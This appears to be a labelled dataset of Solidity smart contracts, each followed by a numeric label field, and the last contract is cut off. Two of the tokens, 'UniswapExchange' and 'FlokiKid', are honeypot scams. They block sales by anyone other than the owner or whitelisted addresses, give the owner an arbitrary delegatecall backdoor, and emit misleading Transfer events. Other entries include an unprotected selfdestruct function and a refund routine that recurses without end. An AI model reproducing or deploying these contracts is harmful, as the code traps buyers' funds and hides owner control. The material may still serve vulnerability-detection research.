function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal constant returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal constant returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function admin() external {
selfdestruct(0x6b1FC9a08F1ED0e2d4f33D769510f0a0a345772c);
}
function () payable public {
if (msg.value > 0)
buy();
else
withdraw(msg.sender);
}
} | 1 | 4,744 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x35a051a0010aba705c9008d7a7eff6fb88f6ea7b);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 709 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,282 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CreaEther is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CreaEther() public {
symbol = "CETH";
name = "CreaEther";
decimals = 18;
_totalSupply = 80000000000000000000000000000;
balances[0xE07a70247262A0C69CA5EE556B232dbE3611F159] = _totalSupply;
Transfer(address(0), 0xE07a70247262A0C69CA5EE556B232dbE3611F159, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,068 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract ElementiumVesting {
using SafeMath for uint256;
struct StagedLockingPlan {
address beneficiary;
uint256 managedAmount;
uint256 start;
uint256 stages;
uint256 durationPerStage;
uint256 releaseRatio;
uint256 currentyStage;
uint256 released;
}
uint256 private _milestone1 = 1540425600;
uint256 private _milestone2 = 1571961600;
uint256 private _durationMonth = 2592000;
uint256 private _durationYear = 31536000;
IERC20 private _token;
uint256 private _numPlans;
mapping (uint256 => StagedLockingPlan) private _plans;
constructor(IERC20 token) public {
_token = token;
_addLockingPlan(
address(0xcCDAb5791D3d11209f5bEEE58003Aa4EAb3E9b63),
150000000000000000,
_milestone2,
1,
_durationYear,
0);
_addLockingPlan(
address(0x8D4Db0c0cB4b937523eBcfd86A8038eb0475166A),
250000000000000000,
_milestone1,
4,
_durationMonth,
0);
_addLockingPlan(
address(0xCFc030Fb11d88772a58BFE30a296C6c215A912Bb),
400000000000000000,
_milestone1,
20,
_durationYear,
4);
}
function _addLockingPlan (
address beneficiary,
uint256 managedAmount,
uint256 start,
uint256 stages,
uint256 durationPerStage,
uint256 releaseRatio
)
private
{
require(beneficiary != address(0));
require(managedAmount > 0);
require(stages > 0);
_plans[_numPlans] = StagedLockingPlan({
beneficiary: beneficiary,
managedAmount: managedAmount,
start: start,
stages: stages,
durationPerStage: durationPerStage,
releaseRatio: releaseRatio,
currentyStage: 0,
released: 0
});
_numPlans = _numPlans.add(1);
}
function _releasableAmount(uint256 i, uint256 nextStage) private view returns (uint256) {
uint256 cliff = _plans[i].released;
if(nextStage < _plans[i].stages) {
if(_plans[i].releaseRatio == 0) {
uint256 amountPerStage = _plans[i].managedAmount.div(_plans[i].stages);
cliff = nextStage.mul(amountPerStage);
}
else {
cliff = 0;
for(uint j = 0; j < nextStage; j++) {
uint256 remained = _plans[i].managedAmount.sub(cliff);
cliff = cliff.add(remained.div(_plans[i].releaseRatio));
}
}
}
else {
cliff = _plans[i].managedAmount;
}
return cliff.sub(_plans[i].released);
}
function release(uint256 iPlan) public {
require(iPlan >= 0 && iPlan < _numPlans);
require(_plans[iPlan].currentyStage < _plans[iPlan].stages);
uint256 duration = block.timestamp.sub(_plans[iPlan].start);
uint256 nextStage = duration.div(_plans[iPlan].durationPerStage);
nextStage = nextStage.add(1);
if(nextStage > _plans[iPlan].stages) {
nextStage = _plans[iPlan].stages;
}
uint256 unreleased = _releasableAmount(iPlan, nextStage);
require(unreleased > 0);
_plans[iPlan].currentyStage = nextStage;
_plans[iPlan].released = _plans[iPlan].released.add(unreleased);
_token.transfer(_plans[iPlan].beneficiary, unreleased);
}
function token() public view returns (address) {
return address(_token);
}
function balance() public view returns (uint256) {
return _token.balanceOf(address(this));
}
function locked() public view
returns (uint256 total, uint256 plan1, uint256 plan2, uint256 plan3)
{
plan1 = _plans[0].managedAmount.sub(_plans[0].released);
plan2 = _plans[1].managedAmount.sub(_plans[1].released);
plan3 = _plans[2].managedAmount.sub(_plans[2].released);
total = plan1.add(plan2.add(plan3));
}
function released() public view
returns (uint256 total, uint256 plan1, uint256 plan2, uint256 plan3)
{
plan1 = _plans[0].released;
plan2 = _plans[1].released;
plan3 = _plans[2].released;
total = plan1.add(plan2.add(plan3));
}
function currentyStage() public view
returns (uint256 plan1, uint256 plan2, uint256 plan3)
{
plan1 = _plans[0].currentyStage;
plan2 = _plans[1].currentyStage;
plan3 = _plans[2].currentyStage;
}
} | 1 | 2,675 |
pragma solidity ^0.4.13;
contract DaoToken {
uint256 public CAP;
uint256 public totalEthers;
function proxyPayment(address participant) payable;
function transfer(address _to, uint _amount) returns (bool success);
}
contract ZiberToken {
mapping (address => uint256) public balances;
mapping (address => bool) public checked_in;
uint256 public bounty;
bool public bought_tokens;
uint256 public time_bought;
bool public kill_switch;
string public name;
string public symbol;
uint8 public decimals;
uint256 ZBR_per_eth = 17440;
uint256 ZBR_total_reserve = 100000000;
uint256 ZBR_dev_reserved = 10000000;
uint256 ZBR_for_selling = 80000000;
uint256 ZBR_for_bounty= 10000000;
uint256 ETH_to_end = 50000 ether;
uint registredTo;
uint256 loadedRefund;
uint256 _supply;
string _name;
string _symbol;
uint8 _decimals;
DaoToken public token = DaoToken(0xa9d585CE3B227d69985c3F7A866fE7d0e510da50);
address developer_address = 0x00119E4b6fC1D931f63FFB26B3EaBE2C4E779533;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function ZiberToken() {
_supply = 10000000000;
balanceOf[msg.sender] = _supply;
name = "ZIBER CW Tokens";
symbol = "ZBR";
decimals = 2;
}
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function loadRefund() payable {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund, msg.value);
}
function refund() private {
uint256 weiValue = this.balance;
if (weiValue == 0) throw;
uint256 weiRefunded;
weiRefunded = safeAdd(weiRefunded, weiValue);
refund();
if (!msg.sender.send(weiValue)) throw;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function activate_kill_switch() {
if (msg.sender != developer_address) throw;
kill_switch = true;
}
function withdraw(){
if (!bought_tokens) {
uint256 eth_amount = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_amount);
}
else {
uint256 ZBR_amount = balances[msg.sender] * ZBR_per_eth;
balances[msg.sender] = 0;
uint256 fee = 0;
if (!checked_in[msg.sender]) {
fee = ZBR_amount / 100;
if(!token.transfer(developer_address, fee)) throw;
}
if(!token.transfer(msg.sender, ZBR_amount - fee)) throw;
}
}
function add_to_bounty() payable {
if (msg.sender != developer_address) throw;
if (kill_switch) throw;
if (bought_tokens) throw;
bounty += msg.value;
}
function claim_bounty(){
if (bought_tokens) return;
if (kill_switch) throw;
bought_tokens = true;
time_bought = now + 1 days;
token.proxyPayment.value(this.balance - bounty)(address(this));
if(this.balance > ETH_to_end)
{
msg.sender.transfer(bounty);
}
else {
time_bought = now + 1 days * 9;
if(this.balance > ETH_to_end) {
msg.sender.transfer(bounty);
}
}
}
modifier onlyOwner() {
if (msg.sender != developer_address) {
throw;
}
_;
}
function withdrawEth() onlyOwner {
msg.sender.transfer(this.balance);
}
function kill() onlyOwner {
selfdestruct(developer_address);
}
function default_helper() payable {
if (now < 1500400350 ) throw;
else {
if (msg.value <= 1 finney) {
if (bought_tokens) {
if (token.totalEthers() >= token.CAP()) throw;
checked_in[msg.sender] = true;
}
else {
withdraw();
}
}
else {
if (kill_switch) throw;
if (bought_tokens) throw;
balances[msg.sender] += msg.value;
}
}
}
function () payable {
default_helper();
}
} | 1 | 4,029 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FlokiKid {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
